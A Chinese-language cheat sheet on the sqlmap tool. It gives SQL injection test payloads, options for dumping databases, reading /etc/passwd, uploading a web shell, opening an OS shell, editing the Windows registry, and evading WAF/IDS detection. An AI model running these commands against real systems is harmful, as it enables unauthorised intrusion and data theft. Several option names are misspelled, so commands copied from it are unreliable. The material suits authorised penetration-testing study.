sqlmap使用
五种漏洞检测方式
- 基于布尔 and 1=1 -- 和 and 1=2 --
- 基于时间 ' and (select * from (select(sleep(20)))a) # 测试20与0之间是否有较大的时间差
- 基于错误 一个 ' 造成语法错误,对盲注无效
- 基于 union 的联合查询,适用于通过 for 输出结果,否则只有第一个结果
- 基于堆叠的查询 ; 连接不同语句,可以用于增删改
Target
get方法直接用 -u 加url
post需要用文件
使用 http 请求文件,sqlmap -r request.txt 。 用 burp 代理请求,复制请求的 Proxy.Intercept.Raw到文件
使用burp日志文件 sqlmap -l log.txt。
--force-ssl          指定使用 https 连接
-g  "inurl:".php?id=1""          利用google搜索结果
--scope 过滤日志文件,通过正则筛选目标
sqlmap -l log.log --scape "(www)?.target.(net|com|org)"
sqlmap -l 2.log --scope "(19)?.168.20.(1|10|100)" --level 3 --dbs
参数
-p     指定测试的参数
--skip==SKIP          跳过参数
--data          指定提交的参数,支持get与post。post居多     sqlmap -u "url"  --data="name=admin&password=1234"
--param-del          指定参数分隔符,默认&。     --data="name=root;pwd=pwd"  --param-del=";"     // 用 ; 分割
--cookie="par1=val1;par2=val2"          level大于等于2时,sqlmap 自动检测cookie注入点
--drop-set-cookie          通常通过set-cookie自动设置cookie,此参数强制不改变cookie
--user-agent          默认为 sqlmap/....
--random-agent     随机 agent /usr/share/sqlmap/txt/user-agents.txt
level 大于等于3,检测user-agent注入点
--host="... "            level 大于等于5
--referrer="..."          level 大于等一3
--headers="host:www.a.com\nUser-Agent:abc"               自定义头
--method=GET/POST
--skip-urlencode          关闭http请求中对url的编码,有些不合规的网站需要直接提交原始数据,不进行url编码
--eval          执行python代码,用于每次请求更改参数值及其 时间依赖 其他参数以来 等。
sqlmap -u "www.a.com/path/info?id=1&hash=asd899f8dv76898s8duf"  --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"     // 计算每次请求id对应hash
-a          查询全部信息
--banner     --users     --password     --schema     --dbs  。。。     穷举数据库的用户,密码,元数据等
-f     fingerprint     检测指纹
基于 http 的身份认证
sqlmap -u "www.a.com" --auth-type Basic/Digest/NTLM --auth-cred "user:pass"
代理
--proxy="http://1.1.1.1:8080"
--proxy-cred="user:pass"
--ignore-proxy          忽略操作系统级别的代理
请求控制,以防发现
--dely          每次请求之间的延迟,默认0,可为小数
--timeout     浮点数,默认30秒
--retries          http 连接超时重试次数
--safe-url / --safe-freq          大量失败请求时服务器会销毁 session,发送safe-freq次注入请求后发送一次正常不含注入请求
--randomize 长度,类型,原始值保持一致的前提下,指定每次请求参数值的参数名
优化
-o          开启前三个
--predict-out          根据检测方法,对比返回值和统计表内容,不断缩小检测范围,提高检测效率
版本名 用户名 密码 Privileges role 数据库名称 表名 列名 与 --threads不兼容 /usr/share/sqlmap/data/txt/common-outputs.txt
--keep-alive          长连接,避免反复连接占用资源。会占用大量服务器资源。与--proxy不兼容
--null-connection     只获取页面大小值,不获得整个页面内容。通常用于盲注判断真假。降低网络带宽资源消耗。与--text-only不兼容
--threads          最大线程数,默认 1,不要超过 10
注入类
-p          指定类型,其他的忽略,--level失效
指定uri路径变量          sqlmap -u "www.url.com/par*/val"      在路径变量后加个 * ,指定路径变量。
通常,sqlmap使某个参数变为负值而使其失效。     id=16 =》id=-16
--invalid-bignum     使参数变为一个巨大的数     id=9999999
--invalid-logical     使参数逻辑上为否,使得失效               id=16 and 16=17
--no-cast          榨取数据时,sqlmap将数据转为字符串,并用空格代替NULL。老版本mysql需要开启此开关,关闭此功能
--no-escape     默认使用char()转义 ' ,这个参数关闭
--prefix / --suffix
sqlmap -u "http://1.1.1.1/sqlmap/mysql/get_str_brackets.php?id=1" -p id  --suffix "’)" --prefix "AND ('abc'='abc"
$query = "SELECT * FROM users WHERE id=(’1’) <PAYLOAD> AND  (’abc’=’abc’) LIMIT 0, 1";
$query = "SELECT * FROM users WHERE id=(’" . $_GET[’id’] . "’) LIMIT 0, 1";  // 查询语句
--tamper base64等功能,混淆脚本,用于突破 ips waf --tamper="xxx.py,xxx.py" /usr/share/sqlmap/tamper/xxx.py
检测
--time-sec          基于时间时,相应延迟时间,默认5秒
--union-cols       联合查询列数,默认1-10,level5最多50
--union-char      联合查询默认NULL,极端情况下失败。可手动指定数值,char(123)
--dns-domain     控制某dns服务器后,用此来加速。--dns-domain   someone.com
--second-order     一个页面注入,另一个页面输出结果。--second-order  http://value.com/second.php
-f   --finger-print     指纹信息
-b  --banner             banner信息
枚举
--users  --dbs       枚举用户 数据库  等
--count                 指定的列有几条记录
--execlude-sysdbs          不枚举应用系统的库,如mysql,information_schema等
--schema               元数据
--batch                    批处理,一切需要选的步骤全用默认选项
--dump/--dump-all     获得数据
--start / --stop            开始结束的行数
--sql-query="select * from users"     要执行的sql语句
-D DB    针对某个库进行爆破
-T TBL     针对某个表
-C COL     某列
-X EXCLUDE
-U USER     针对某个用户         //  --privileges  -U root  查询当前用户权限
sqlmap -u="url" -D dvwa -T users --columns -C user // 查询dvwa库下users表所有列 与 user列信息
暴力破解
mysql <  5.0时无information_schema。及大于5.0却无权限时,可用暴力破解猜库 表 列。
access默认无权限读MSysObjects库
使用/usr/share/sqlmap/data/txt/*下文件破解列名库名等
--common-columns     Access无列信息
--common-tables
文件系统访问
--file-read="/etc/passwd"
--file-write="local_file_in_cur_dir.php"   --file-dest="/tmp/shell.php"          将当前目录下文件写道/tmp/shell.php
操作系统层面命令
mysql postgresql  在linux下上传共享库 生成sys_exec() sys_eval() 两个 udf
mssql     xp_cmdshell 存储过程,有则用,禁则启,无则创
--os-cmd="ls -al"
--os-shell          交互式shell
--sql-shell
windows 注册表
sqlmap –u="http://1.1.1.1/a.aspx?id=1"
--reg-add
--reg key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap"
--reg-value=Test
--reg-type=REG_SZ
--reg-data=1
增加key为**值为Test类型为REG_SZ,键值类型为1的数据表项
通用
--cleanup       **清除sqlmap创建的函数,表
--dbms-cret     指定数据库账号
--flush-session     清除session
--fresh-queries     忽略session
--hex               dump 时 非 ascII字符编码为16位数字,收到后解码还原
--output-dir="/tmp/sql"
--parse-errors       分析数据库内建报错信息
其他
--check-waf
--hpp          http  parameter pollution  ,绕过 waf  ips  ids
--identity-waf     彻底检测waf
--mobile          模仿手机
--wizard          向导
 
                     
                    
                 
                    
                
 
                
            
         
         浙公网安备 33010602011771号
浙公网安备 33010602011771号